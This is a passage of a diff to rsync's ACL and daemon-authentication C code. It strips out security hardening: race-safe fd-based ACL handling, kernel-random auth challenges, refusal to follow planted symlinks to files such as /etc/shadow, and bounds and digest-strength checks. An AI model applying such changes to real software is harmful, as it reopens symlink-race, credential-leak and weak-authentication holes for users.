break;\n-\t\tcase SMB_ACL_MASK: tag = RACL_MASK; break;\n-\t\tcase SMB_ACL_OTHER: tag = RACL_OTHER; break;\n-\t\tdefault: continue; /* skip an unrecognized tag */\n-\t\t}\n-\t\te = EXPAND_ITEM_LIST(&ent_list, rsync_acl_ent, -10);\n-\t\te->tag = tag;\n-\t\te->perm = access & 7;\n-\t\te->id = (tag == RACL_USER || tag == RACL_GROUP) ? (uint32_t)g_u_id : RACL_UNDEFINED_ID;\n-\t}\n-\tif (rc) {\n-\t\trsyserr(FERROR_XFER, errno, \"sacl_to_entries: sys_acl_get_entry/info()\");\n-\t\treturn -1;\n-\t}\n-\n-\tout = new_array(rsync_acl_ent, ent_list.count ? ent_list.count : 1);\n-\tif (ent_list.count)\n-\t\tmemcpy(out, ent_list.items, ent_list.count * sizeof (rsync_acl_ent));\n-\t*ents_p = out;\n-\treturn ent_list.count;\n-}\n-\n-/* Unpack a neutral entry array (from lib/acl.c) into an rsync_acl, mirroring\n- * unpack_smb_acl()'s tag handling. */\n-static BOOL unpack_acl_entries(const rsync_acl_ent *ents, int n, rsync_acl *racl)\n-{\n-\tstatic item_list temp_ida_list = EMPTY_ITEM_LIST;\n-\tint i;\n-\n-\ttemp_ida_list.count = 0;\n-\tfor (i = 0; i < n; i++) {\n-\t\tuint32 access = ents[i].perm & 7;\n-\t\tid_access *ida;\n-\n-\t\tswitch (ents[i].tag) {\n-\t\tcase RACL_USER_OBJ:\n-\t\t\tif (racl->user_obj == NO_ENTRY)\n-\t\t\t\tracl->user_obj = access;\n-\t\t\tcontinue;\n-\t\tcase RACL_GROUP_OBJ:\n-\t\t\tif (racl->group_obj == NO_ENTRY)\n-\t\t\t\tracl->group_obj = access;\n-\t\t\tcontinue;\n-\t\tcase RACL_MASK:\n-\t\t\tif (racl->mask_obj == NO_ENTRY)\n-\t\t\t\tracl->mask_obj = access;\n-\t\t\tcontinue;\n-\t\tcase RACL_OTHER:\n-\t\t\tif (racl->other_obj == NO_ENTRY)\n-\t\t\t\tracl->other_obj = access;\n-\t\t\tcontinue;\n-\t\tcase RACL_USER:\n-\t\t\taccess |= NAME_IS_USER;\n-\t\t\tbreak;\n-\t\tcase RACL_GROUP:\n-\t\t\tbreak;\n-\t\tdefault:\n-\t\t\tcontinue;\n-\t\t}\n-\t\tida = EXPAND_ITEM_LIST(&temp_ida_list, id_access, -10);\n-\t\tida->id = ents[i].id;\n-\t\tida->access = access;\n-\t}\n-\n-\tif (temp_ida_list.count) {\n-#ifdef SMB_ACL_NEED_SORT\n-\t\tif (temp_ida_list.count > 1)\n-\t\t\tqsort(temp_ida_list.items, temp_ida_list.count, sizeof (id_access), id_access_sorter);\n-#endif\n-\t\tracl->names.idas = new_array(id_access, temp_ida_list.count);\n-\t\tmemcpy(racl->names.idas, temp_ida_list.items, temp_ida_list.count * sizeof (id_access));\n-\t} else\n-\t\tracl->names.idas = NULL;\n-\tracl->names.count = temp_ida_list.count;\n-\ttemp_ida_list.count = 0;\n-\n-\treturn True;\n-}\n-#endif /* SUPPORT_ACL_FD */\n-\n-static int get_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n-\t\t\t rsync_acl *racl, SMB_ACL_TYPE_T type, mode_t mode)\n+static int get_rsync_acl(const char *fname, rsync_acl *racl,\n+\t\t\t SMB_ACL_TYPE_T type, mode_t mode)\n {\n \tSMB_ACL_T sacl;\n \n-#ifndef SUPPORT_ACL_FD\n-#ifndef HAVE_SOLARIS_ACLS\n-\t(void)fd; /* Solaris drives the ACL via facl(2) on fd but has no SUPPORT_ACL_FD. */\n-#endif\n-\t(void)dirfd;\n-\t(void)leaf;\n-#endif\n-\n #ifdef SUPPORT_XATTRS\n \t/* --fake-super support: load ACLs from an xattr. */\n \tif (am_root < 0) {\n@@ -603,7 +481,7 @@ static int get_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n \t\tsize_t len;\n \t\tint cnt;\n \n-\t\tif ((buf = get_xattr_acl(fname, fd, type == SMB_ACL_TYPE_ACCESS, &len)) == NULL)\n+\t\tif ((buf = get_xattr_acl(fname, type == SMB_ACL_TYPE_ACCESS, &len)) == NULL)\n \t\t\treturn 0;\n \t\tcnt = (len - 4*4) / (4+4);\n \t\tif (len < 4*4 || len != (size_t)cnt*(4+4) + 4*4) {\n@@ -636,107 +514,6 @@ static int get_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n \t}\n #endif\n \n-#ifdef HAVE_SOLARIS_ACLS\n-\t/* Solaris has no libacl *_at; read the ACL through the held fd via facl(2)\n-\t * when we have one.  With no held fd this branch is skipped and the path-based\n-\t * call below reads the ACL (acceptable: a read can't redirect a write out of\n-\t * the tree). */\n-\tif (fd >= 0) {\n-\t\tif ((sacl = sys_acl_get_fd_type(fd, type)) != 0) {\n-\t\t\tBOOL ok = unpack_smb_acl(sacl, racl);\n-\n-\t\t\tsys_acl_free_acl(sacl);\n-\t\t\tif (!ok) {\n-\t\t\t\trsyserr(FERROR_XFER, errno, \"get_acl: unpack_smb_acl(%s)\", fname);\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\treturn 0;\n-\t\t}\n-\t\tif (no_acl_syscall_error(errno)) {\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\trsync_acl_fake_perms(racl, mode);\n-\t\t\treturn 0;\n-\t\t}\n-\t\trsyserr(FERROR_XFER, errno, \"get_acl: sys_acl_get_fd_type(%s, %s)\",\n-\t\t\tfname, str_acl_type(type));\n-\t\treturn -1;\n-\t}\n-#endif\n-\n-#ifdef SUPPORT_ACL_FD\n-#ifdef HAVE_LIBACL_AT\n-\t/* Read the ACL via the new libacl *_at calls; fd<0 && dirfd<0\n-\t * (e.g. a synthetic dir) falls through to the path-based call below. */\n-\tif (fd >= 0 || dirfd >= 0) {\n-\t\tif (fd >= 0)\n-\t\t\tsacl = sys_acl_get_file_at(fd, \"\", AT_EMPTY_PATH, type);\n-\t\telse\n-\t\t\tsacl = sys_acl_get_file_at(dirfd, leaf, AT_SYMLINK_NOFOLLOW, type);\n-\t\tif (sacl != 0) {\n-\t\t\tBOOL ok = unpack_smb_acl(sacl, racl);\n-\t\t\tsys_acl_free_acl(sacl);\n-\t\t\tif (!ok) {\n-\t\t\t\trsyserr(FERROR_XFER, errno, \"get_acl: unpack_smb_acl(%s)\", fname);\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\treturn 0;\n-\t\t}\n-\t\tif (no_acl_syscall_error(errno)) {\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\trsync_acl_fake_perms(racl, mode);\n-\t\t\treturn 0;\n-\t\t}\n-\t\trsyserr(FERROR_XFER, errno, \"get_acl: acl_get_file_at(%s, %s)\",\n-\t\t\tfname, str_acl_type(type));\n-\t\treturn -1;\n-\t}\n-#else\n-\t/* Race-safe path: read the ACL through the held O_NOFOLLOW fd, or via\n-\t * setxattrat(AT_SYMLINK_NOFOLLOW) on dirfd+leaf, instead of re-resolving\n-\t * fname.  Only for real-root ACLs (am_root >= 0; the fake-super branch\n-\t * above already returned). */\n-\tif (fd >= 0 || (dirfd >= 0 && xacl_at_available())) {\n-\t\tint is_def = type == SMB_ACL_TYPE_DEFAULT;\n-\t\trsync_acl_ent *ents = NULL;\n-\t\tint n = 0, rc;\n-\n-\t\tif (fd >= 0)\n-\t\t\trc = xacl_get_fd(fd, is_def, &ents, &n);\n-\t\telse\n-\t\t\trc = xacl_get_at(dirfd, leaf, is_def, &ents, &n);\n-\t\tif (rc < 0) {\n-\t\t\tif (no_acl_syscall_error(errno)) {\n-\t\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\t\trsync_acl_fake_perms(racl, mode);\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t\trsyserr(FERROR_XFER, errno, \"get_acl: xacl_get(%s, %s)\",\n-\t\t\t\tfname, str_acl_type(type));\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (n == 0) {\n-\t\t\t/* No explicit ACL: mirror libacl's mode-derived access ACL\n-\t\t\t * (an absent default ACL stays empty). */\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\trsync_acl_fake_perms(racl, mode);\n-\t\t} else if (!unpack_acl_entries(ents, n, racl)) {\n-\t\t\tif (ents)\n-\t\t\t\tfree(ents);\n-\t\t\trsyserr(FERROR_XFER, errno, \"get_acl: unpack_acl_entries(%s)\", fname);\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (ents)\n-\t\t\tfree(ents);\n-\t\treturn 0;\n-\t}\n-\t/* Neither a held fd nor a usable dirfd path (xacl_at_available() covers the\n-\t * *xattrat syscalls AND the pre-6.13 /proc/self/fd compat, so this is the\n-\t * BSDs / a /proc-less namespace / an un-pinnable entry): read the real\n-\t * destination ACL via the path-based call rather than a mode-only fake, so\n-\t * --acls stays functional where the race-safe primitive is unavailable. */\n-#endif /* HAVE_LIBACL_AT */\n-#endif\n-\n \tif ((sacl = sys_acl_get_file(fname, type)) != 0) {\n \t\tBOOL ok = unpack_smb_acl(sacl, racl);\n \n@@ -758,10 +535,8 @@ static int get_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n \treturn 0;\n }\n \n-/* Return the Access Control List for the given filename.  When a held\n- * O_NOFOLLOW fd (or a dirfd+leaf) is available, the ACL is read race-safely\n- * through it; otherwise (fd < 0 && dirfd < 0) the path-based fallback is used. */\n-int get_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname, stat_x *sxp)\n+/* Return the Access Control List for the given filename. */\n+int get_acl(const char *fname, stat_x *sxp)\n {\n \tsxp->acc_acl = create_racl();\n \n@@ -782,7 +557,7 @@ int get_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname, stat_x\n \t} else if (IS_MISSING_FILE(sxp->st))\n \t\treturn 0;\n \n-\tif (get_rsync_acl(fd, dirfd, leaf, fname, sxp->acc_acl, SMB_ACL_TYPE_ACCESS,\n+\tif (get_rsync_acl(fname, sxp->acc_acl, SMB_ACL_TYPE_ACCESS,\n \t\t\t  sxp->st.st_mode) < 0) {\n \t\tfree_acl(sxp);\n \t\treturn -1;\n@@ -790,7 +565,7 @@ int get_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname, stat_x\n \n \tif (S_ISDIR(sxp->st.st_mode)) {\n \t\tsxp->def_acl = create_racl();\n-\t\tif (get_rsync_acl(fd, dirfd, leaf, fname, sxp->def_acl, SMB_ACL_TYPE_DEFAULT,\n+\t\tif (get_rsync_acl(fname, sxp->def_acl, SMB_ACL_TYPE_DEFAULT,\n \t\t\t\t  sxp->st.st_mode) < 0) {\n \t\t\tfree_acl(sxp);\n \t\t\treturn -1;\n@@ -800,11 +575,6 @@ int get_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname, stat_x\n \treturn 0;\n }\n \n-int get_acl(const char *fname, stat_x *sxp)\n-{\n-\treturn get_acl_fdat(-1, -1, NULL, fname, sxp);\n-}\n-\n /* === Send functions === */\n \n /* Send the ida list over the file descriptor. */\n@@ -927,7 +697,7 @@ static uint32 recv_acl_access(int f, uchar *name_follows_ptr)\n static uchar recv_ida_entries(int f, ida_entries *ent)\n {\n \tuchar computed_mask_bits = 0;\n-\tint i, count = read_varint_bounded(f, 0, MAX_WIRE_ACL_COUNT, \"ACL count\");\n+\tint i, count = read_varint(f);\n \n \tent->idas = count ? new_array(id_access, count) : NULL;\n \tent->count = count;\n@@ -943,7 +713,7 @@ static uchar recv_ida_entries(int f, ida_entries *ent)\n \t\t\telse\n \t\t\t\tid = recv_group_name(f, id, NULL);\n \t\t} else if (access & NAME_IS_USER) {\n-\t\t\tif (inc_recurse && !numeric_ids)\n+\t\t\tif (inc_recurse && am_root && !numeric_ids)\n \t\t\t\tid = match_uid(id);\n \t\t} else {\n \t\t\tif (inc_recurse && (!am_root || !numeric_ids))\n@@ -1163,60 +933,17 @@ static mode_t change_sacl_perms(SMB_ACL_T sacl, rsync_acl *racl, mode_t old_mode\n }\n #endif\n \n-static int set_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n-\t\t\t acl_duo *duo_item, SMB_ACL_TYPE_T type, stat_x *sxp, mode_t mode)\n+static int set_rsync_acl(const char *fname, acl_duo *duo_item,\n+\t\t\t SMB_ACL_TYPE_T type, stat_x *sxp, mode_t mode)\n {\n-#ifndef SUPPORT_ACL_FD\n-#ifndef HAVE_SOLARIS_ACLS\n-\t(void)fd; /* Solaris drives the ACL via facl(2) on fd but has no SUPPORT_ACL_FD. */\n-#endif\n-\t(void)dirfd;\n-\t(void)leaf;\n-#endif\n \tif (type == SMB_ACL_TYPE_DEFAULT\n \t && duo_item->racl.user_obj == NO_ENTRY) {\n \t\tint rc;\n #ifdef SUPPORT_XATTRS\n \t\t/* --fake-super support: delete default ACL from xattrs. */\n \t\tif (am_root < 0)\n-\t\t\trc = del_def_xattr_acl(fd, fname);\n+\t\t\trc = del_def_xattr_acl(fname);\n \t\telse\n-#endif\n-#ifdef SUPPORT_ACL_FD\n-#ifdef HAVE_LIBACL_AT\n-\t\t/* Race-safe default-ACL delete via the new libacl *_at\n-\t\t * calls (held fd via AT_EMPTY_PATH, dirfd+leaf via AT_SYMLINK_NOFOLLOW)\n-\t\t * -- race-safe on every Linux kernel.  fd<0 && dirfd<0 falls to path. */\n-\t\tif (fd >= 0)\n-\t\t\trc = sys_acl_delete_def_file_at(fd, \"\", AT_EMPTY_PATH);\n-\t\telse if (dirfd >= 0)\n-\t\t\trc = sys_acl_delete_def_file_at(dirfd, leaf, AT_SYMLINK_NOFOLLOW);\n-\t\telse\n-#else\n-\t\t/* Race-safe default-ACL delete via the held fd or dirfd+leaf.  Where\n-\t\t * neither is available (xacl_at_available() is false -- the BSDs, a\n-\t\t * /proc-less namespace, an un-pinnable entry; every Linux with procfs\n-\t\t * takes the dirfd path via *xattrat or the /proc/self/fd compat) -- fall\n-\t\t * back to the path-based call, preferring the documented --acls behaviour\n-\t\t * over refusing it where the race-safe primitive is unavailable. */\n-\t\tif (fd >= 0)\n-\t\t\trc = xacl_del_default_fd(fd);\n-\t\telse if (dirfd >= 0 && xacl_at_available())\n-\t\t\trc = xacl_del_default_at(dirfd, leaf);\n-\t\telse\n-#endif /* HAVE_LIBACL_AT */\n-#endif\n-#ifdef HAVE_SOLARIS_ACLS\n-\t\t/* Solaris: delete the default ACL through the held fd via facl(2).  For a\n-\t\t * root receiver a missing held fd means the leaf was raced, so refuse rather\n-\t\t * than let the path-based delete follow it; a plain non-root receiver keeps\n-\t\t * the legacy path fallback (op_pin am_root != 0 rule). */\n-\t\tif (fd >= 0)\n-\t\t\trc = sys_acl_delete_def_fd(fd);\n-\t\telse if (secure_relpath_active() && am_root) {\n-\t\t\terrno = ELOOP;\n-\t\t\trc = -1;\n-\t\t} else\n #endif\n \t\t\trc = sys_acl_delete_def_file(fname);\n \t\tif (rc < 0) {\n@@ -1245,7 +972,7 @@ static int set_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n \t\t\t\tSIVAL(bp, 4, ida->access);\n \t\t\t}\n \t\t}\n-\t\trc = set_xattr_acl(fd, fname, type == SMB_ACL_TYPE_ACCESS, buf, len);\n+\t\trc = set_xattr_acl(fname, type == SMB_ACL_TYPE_ACCESS, buf, len);\n \t\tfree(buf);\n \t\treturn rc;\n #endif\n@@ -1262,92 +989,6 @@ static int set_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n \t\t\tif (cur_mode == (mode_t)-1)\n \t\t\t\treturn 0;\n \t\t}\n-#endif\n-#ifdef SUPPORT_ACL_FD\n-#ifdef HAVE_LIBACL_AT\n-\t\t/* Apply the packed/perm-reconciled ACL (duo_item->sacl)\n-\t\t * through the new libacl *_at calls -- held fd via AT_EMPTY_PATH,\n-\t\t * dirfd+leaf via AT_SYMLINK_NOFOLLOW -- race-safe on every Linux kernel,\n-\t\t * and byte-identical to the path-based sys_acl_set_file() below. */\n-\t\tif (fd >= 0 || dirfd >= 0) {\n-\t\t\tint rc;\n-\n-\t\t\tif (fd >= 0)\n-\t\t\t\trc = sys_acl_set_file_at(fd, \"\", AT_EMPTY_PATH, type, duo_item->sacl);\n-\t\t\telse\n-\t\t\t\trc = sys_acl_set_file_at(dirfd, leaf, AT_SYMLINK_NOFOLLOW, type, duo_item->sacl);\n-\t\t\tif (rc < 0) {\n-\t\t\t\trsyserr(FERROR_XFER, errno, \"set_acl: acl_set_file_at(%s, %s)\",\n-\t\t\t\t\tfname, str_acl_type(type));\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\tsxp->st.st_mode = cur_mode;\n-\t\t\treturn 0;\n-\t\t}\n-#else\n-\t\t/* Race-safe write: serialize the packed (and perm-reconciled)\n-\t\t * system ACL to the kernel xattr format and apply it through the\n-\t\t * held fd or dirfd+leaf -- never re-resolving fname.  This matches\n-\t\t * exactly what sys_acl_set_file() would have written. */\n-\t\tif (fd >= 0 || (dirfd >= 0 && xacl_at_available())) {\n-\t\t\tint is_def = type == SMB_ACL_TYPE_DEFAULT;\n-\t\t\trsync_acl_ent *ents;\n-\t\t\tint n = sacl_to_entries(duo_item->sacl, &ents);\n-\t\t\tint rc;\n-\n-\t\t\tif (n < 0)\n-\t\t\t\treturn -1;\n-\t\t\tif (fd >= 0)\n-\t\t\t\trc = xacl_set_fd(fd, is_def, ents, n);\n-\t\t\telse\n-\t\t\t\trc = xacl_set_at(dirfd, leaf, is_def, ents, n);\n-\t\t\tfree(ents);\n-\t\t\tif (rc < 0) {\n-\t\t\t\trsyserr(FERROR_XFER, errno, \"set_acl: xacl_set(%s, %s)\",\n-\t\t\t\t\tfname, str_acl_type(type));\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\tsxp->st.st_mode = cur_mode;\n-\t\t\treturn 0;\n-\t\t}\n-\t\t/* No held fd and no usable dirfd path (xacl_at_available() is false --\n-\t\t * the BSDs, a /proc-less namespace, an un-pinnable entry; every Linux\n-\t\t * with procfs took xacl_set_at() above via *xattrat or the /proc/self/fd\n-\t\t * compat): prefer the documented --acls behaviour over refusing it and\n-\t\t * fall back to the path-based set.  This re-resolves fname, so it still\n-\t\t * carries the parent-symlink-race exposure on those remaining platforms;\n-\t\t * it is the only way to honour --acls where no race-safe primitive\n-\t\t * exists. */\n-#endif /* HAVE_LIBACL_AT */\n-#endif\n-#ifdef HAVE_SOLARIS_ACLS\n-\t\t/* Solaris: apply the ACL through the held fd via facl(2). */\n-\t\tif (fd >= 0) {\n-\t\t\tif (sys_acl_set_fd_type(fd, type, duo_item->sacl) < 0) {\n-\t\t\t\trsyserr(FERROR_XFER, errno, \"set_acl: sys_acl_set_fd_type(%s, %s)\",\n-\t\t\t\t\tfname, str_acl_type(type));\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tif (type == SMB_ACL_TYPE_ACCESS)\n-\t\t\t\tsxp->st.st_mode = cur_mode;\n-\t\t\treturn 0;\n-\t\t}\n-\t\tif (secure_relpath_active() && am_root) {\n-\t\t\t/* Real root always can open its own freshly-staged reg/dir/fifo leaf,\n-\t\t\t * so a missing held fd on a confined receiver means the leaf was raced\n-\t\t\t * to a symlink; sys_acl_set_file() follows the leaf, so refuse rather\n-\t\t\t * than write the attacker-supplied ACL onto a redirected inode (covers\n-\t\t\t * the top-level no-slash entry the caller's slashed-path xattr_refuse\n-\t\t\t * gate misses).  A plain non-root receiver keeps the path-based fallback\n-\t\t\t * for a legitimately un-pinnable owned leaf (e.g. a 0300 dir), matching\n-\t\t\t * the operator-path op_pin rule (am_root != 0). */\n-\t\t\terrno = ELOOP;\n-\t\t\trsyserr(FERROR_XFER, errno, \"set_acl: refusing path-based ACL on %s (no held fd)\",\n-\t\t\t\tfname);\n-\t\t\treturn -1;\n-\t\t}\n #endif\n \t\tif (sys_acl_set_file(fname, type, duo_item->sacl) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"set_acl: sys_acl_set_file(%s, %s)\",\n@@ -1365,16 +1006,11 @@ static int set_rsync_acl(int fd, int dirfd, const char *leaf, const char *fname,\n  * dir), and the regular mode bits on the file.  Call this with fname set to\n  * NULL to just check if the ACL is different.\n  *\n- * When a held O_NOFOLLOW fd (or a dirfd+leaf) is supplied, the ACL is applied\n- * race-safely through it; otherwise (fd < 0 && dirfd < 0) the path-based\n- * fallback is used.\n- *\n  * If the ACL operation has a side-effect of changing the file's mode, the\n  * sxp->st.st_mode value will be changed to match.\n  *\n  * Returns 0 for an unchanged ACL, 1 for changed, -1 for failed. */\n-int set_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname,\n-\t\t const struct file_struct *file, stat_x *sxp, mode_t new_mode)\n+int set_acl(const char *fname, const struct file_struct *file, stat_x *sxp, mode_t new_mode)\n {\n \tint changed = 0;\n \tint32 ndx;\n@@ -1394,7 +1030,7 @@ int set_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname,\n \t\tif (!eq) {\n \t\t\tchanged = 1;\n \t\t\tif (!dry_run && fname\n-\t\t\t && set_rsync_acl(fd, dirfd, leaf, fname, duo_item, SMB_ACL_TYPE_ACCESS,\n+\t\t\t && set_rsync_acl(fname, duo_item, SMB_ACL_TYPE_ACCESS,\n \t\t\t\t\t  sxp, new_mode) < 0)\n \t\t\t\treturn -1;\n \t\t}\n@@ -1411,7 +1047,7 @@ int set_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname,\n \t\tif (!eq) {\n \t\t\tchanged = 1;\n \t\t\tif (!dry_run && fname\n-\t\t\t && set_rsync_acl(fd, dirfd, leaf, fname, duo_item, SMB_ACL_TYPE_DEFAULT,\n+\t\t\t && set_rsync_acl(fname, duo_item, SMB_ACL_TYPE_DEFAULT,\n \t\t\t\t\t  sxp, new_mode) < 0)\n \t\t\t\treturn -1;\n \t\t}\n@@ -1420,11 +1056,6 @@ int set_acl_fdat(int fd, int dirfd, const char *leaf, const char *fname,\n \treturn changed;\n }\n \n-int set_acl(const char *fname, const struct file_struct *file, stat_x *sxp, mode_t new_mode)\n-{\n-\treturn set_acl_fdat(-1, -1, NULL, fname, file, sxp, new_mode);\n-}\n-\n /* Non-incremental recursion needs to convert all the received IDs.\n  * This is done in a single pass after receiving the whole file-list. */\n static void match_racl_ids(const item_list *racl_list)\ndiff --git a/authenticate.c b/authenticate.c\nindex 2e6016d..b7f6ead 100644\n--- a/authenticate.c\n+++ b/authenticate.c\n@@ -57,31 +57,10 @@ void base64_encode(const char *buf, int len, char *out, int pad)\n \tout[i] = '\\0';\n }\n \n-/* Fill buf with len bytes from the kernel CSPRNG.  Returns 1 on success.\n- * We read /dev/urandom directly rather than depending on getrandom()/\n- * arc4random_buf() availability so this works on every platform rsync\n- * targets without new configure probes. */\n-static int get_random_bytes(char *buf, int len)\n-{\n-\tint fd = open(\"/dev/urandom\", O_RDONLY | O_CLOEXEC);\n-\tint got = 0;\n-\tif (fd < 0)\n-\t\treturn 0;\n-\twhile (got < len) {\n-\t\tint n = read(fd, buf + got, len - got);\n-\t\tif (n <= 0)\n-\t\t\tbreak;\n-\t\tgot += n;\n-\t}\n-\tclose(fd);\n-\treturn got == len;\n-}\n-\n /* Generate a challenge buffer and return it base64-encoded. */\n static void gen_challenge(const char *addr, char *challenge)\n {\n \tchar input[32];\n-\tchar rnd[32];\n \tchar digest[MAX_DIGEST_LEN];\n \tstruct timeval tv;\n \tint len;\n@@ -95,16 +74,6 @@ static void gen_challenge(const char *addr, char *challenge)\n \tSIVAL(input, 24, getpid());\n \n \tlen = sum_init(valid_auth_checksums.negotiated_nni, 0);\n-\t/* The challenge must be unpredictable to a network observer; addr+time\n-\t * +pid alone is ~35 bits and lets an attacker enumerate the preimage\n-\t * offline.  Hash 32 bytes from the kernel RNG first so the digest\n-\t * carries full entropy, keeping the legacy inputs as a mix-in so a\n-\t * urandom failure degrades to (never below) the old behaviour. */\n-\tif (get_random_bytes(rnd, sizeof rnd))\n-\t\tsum_update(rnd, sizeof rnd);\n-\telse\n-\t\trprintf(FWARNING, \"gen_challenge: /dev/urandom unavailable, \"\n-\t\t\t\"falling back to time-based challenge\\n\");\n \tsum_update(input, sizeof input);\n \tsum_end(digest);\n \n@@ -141,23 +110,8 @@ static const char *check_secret(int module, const char *user, const char *group,\n \tchar *err;\n \tFILE *fh;\n \n-\t/* Daemon 'secrets file = PATH' open.  A planted symlink would be\n-\t * followed and the strict-modes fstat() check below runs on the target\n-\t * inode, so a symlink to /etc/shadow (0640 root:shadow) would pass and\n-\t * the daemon would auth against shadow hashes.  Refuse symlinks not\n-\t * owned by uid 0 or our euid. */\n-\tif (!fname || !*fname)\n+\tif (!fname || !*fname || (fh = fopen(fname, \"r\")) == NULL)\n \t\treturn \"no secrets file\";\n-\t{\n-\t\tint fd = open_no_attacker_symlinks(fname, O_RDONLY, 0);\n-\t\tif (fd < 0)\n-\t\t\treturn \"no secrets file\";\n-\t\tfh = fdopen(fd, \"r\");\n-\t\tif (!fh) {\n-\t\t\tclose(fd);\n-\t\t\treturn \"no secrets file\";\n-\t\t}\n-\t}\n \n \tif (do_fstat(fileno(fh), &st) == -1) {\n \t\trsyserr(FLOG, errno, \"fstat(%s)\", fname);\n@@ -230,23 +184,13 @@ static const char *getpassf(const char *filename)\n \t} else {\n \t\tint fd;\n \n-\t\t/* --password-file=PATH client open.  Its first line is sent as the\n-\t\t * auth response, so a planted symlink leaks the target's content\n-\t\t * (e.g. shadow hashes) to a malicious daemon; the do_stat()\n-\t\t * other-access check runs on the target mode and passes 0640\n-\t\t * root:shadow.  Refuse symlinks not owned by uid 0 or our euid. */\n-\t\tif ((fd = open_no_attacker_symlinks(filename, O_RDONLY, 0)) < 0) {\n+\t\tif ((fd = open(filename,O_RDONLY)) < 0) {\n \t\t\trsyserr(FERROR, errno, \"could not open password file %s\", filename);\n \t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \n-\t\t/* fstat the opened fd, not the pathname: a same-object check\n-\t\t * (matching check_secret() above) so an attacker who swaps the\n-\t\t * path between open and check can't make the owner/mode test\n-\t\t * validate a different inode than the one we read the password\n-\t\t * from. */\n-\t\tif (do_fstat(fd, &st) == -1) {\n-\t\t\trsyserr(FERROR, errno, \"fstat(%s)\", filename);\n+\t\tif (do_stat(filename, &st) == -1) {\n+\t\t\trsyserr(FERROR, errno, \"stat(%s)\", filename);\n \t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \t\tif ((st.st_mode & 06) != 0) {\n@@ -264,10 +208,8 @@ static const char *getpassf(const char *filename)\n \n \tif (n > 0) {\n \t\tbuffer[n] = '\\0';\n-\t\tp = buffer + strcspn(buffer, \"\\n\\r\");\n-\t\t*p = '\\0';\n-\t\tif (buffer[0] != '\\0')\n-\t\t\treturn strdup(buffer);\n+\t\tif ((p = strtok(buffer, \"\\n\\r\")) != NULL)\n+\t\t\treturn strdup(p);\n \t}\n \n \trprintf(FERROR, \"ERROR: failed to read a password from %s\\n\", filename);\n@@ -298,35 +240,6 @@ char *auth_server(int f_in, int f_out, int module, const char *host,\n \t\treturn \"\";\n \n \tnegotiate_daemon_auth(f_out, 0);\n-\n-\t/* Enforce a configured minimum auth digest (default: none).  This refuses\n-\t * a peer that negotiated -- or, via an omitted digest list / old protocol,\n-\t * fell back to -- a digest weaker than the operator-required floor, e.g. a\n-\t * client downgraded to md5/md4.  Lower rank == stronger (the auth list is\n-\t * ordered strongest-first), so a higher rank than the floor is too weak. */\n-\t{\n-\t\tconst char *min_digest = lp_auth_digest(module);\n-\t\tif (min_digest && *min_digest) {\n-\t\t\tint floor_rank = auth_digest_rank(min_digest);\n-\t\t\tint got_rank = auth_digest_rank(valid_auth_checksums.negotiated_nni->name);\n-\t\t\tif (floor_rank < 0) {\n-\t\t\t\trprintf(FLOG, \"auth failed on module %s from %s (%s): the \"\n-\t\t\t\t\t\"configured 'auth digest = %s' is not a supported digest \"\n-\t\t\t\t\t\"on this build\\n\",\n-\t\t\t\t\tlp_name(module), host, addr, min_digest);\n-\t\t\t\treturn NULL;\n-\t\t\t}\n-\t\t\tif (got_rank < 0 || got_rank > floor_rank) {\n-\t\t\t\trprintf(FLOG, \"auth failed on module %s from %s (%s): negotiated \"\n-\t\t\t\t\t\"auth digest %s is weaker than the required \"\n-\t\t\t\t\t\"'auth digest = %s'\\n\",\n-\t\t\t\t\tlp_name(module), host, addr,\n-\t\t\t\t\tvalid_auth_checksums.negotiated_nni->name, min_digest);\n-\t\t\t\treturn NULL;\n-\t\t\t}\n-\t\t}\n-\t}\n-\n \tgen_challenge(addr, challenge);\n \n \tio_printf(f_out, \"%s%s\\n\", leader, challenge);\n@@ -342,13 +255,7 @@ char *auth_server(int f_in, int f_out, int module, const char *host,\n \n \tusers = strdup(users);\n \n-\t/* conf_strtok() honours the documented leading-comma form: a value that\n-\t * starts with a comma splits on commas ALONE, so an entry may contain\n-\t * spaces -- which is how a group name with a space is written.  Splitting\n-\t * on whitespace here tore such an entry apart, so the rule the admin wrote\n-\t * never matched and a rule they never wrote appeared from its tail.  The\n-\t * daemon's gid field already uses this parser (clientserver.c). */\n-\tfor (tok = conf_strtok(users); tok; tok = conf_strtok(NULL)) {\n+\tfor (tok = strtok(users, \" ,\\t\"); tok; tok = strtok(NULL, \" ,\\t\")) {\n \t\tchar *opts;\n \t\t/* See if the user appended :deny, :ro, or :rw. */\n \t\tif ((opts = strchr(tok, ':')) != NULL) {\ndiff --git a/backup.c b/backup.c\nindex df9dac9..686cb29 100644\n--- a/backup.c\n+++ b/backup.c\n@@ -30,43 +30,16 @@ extern int 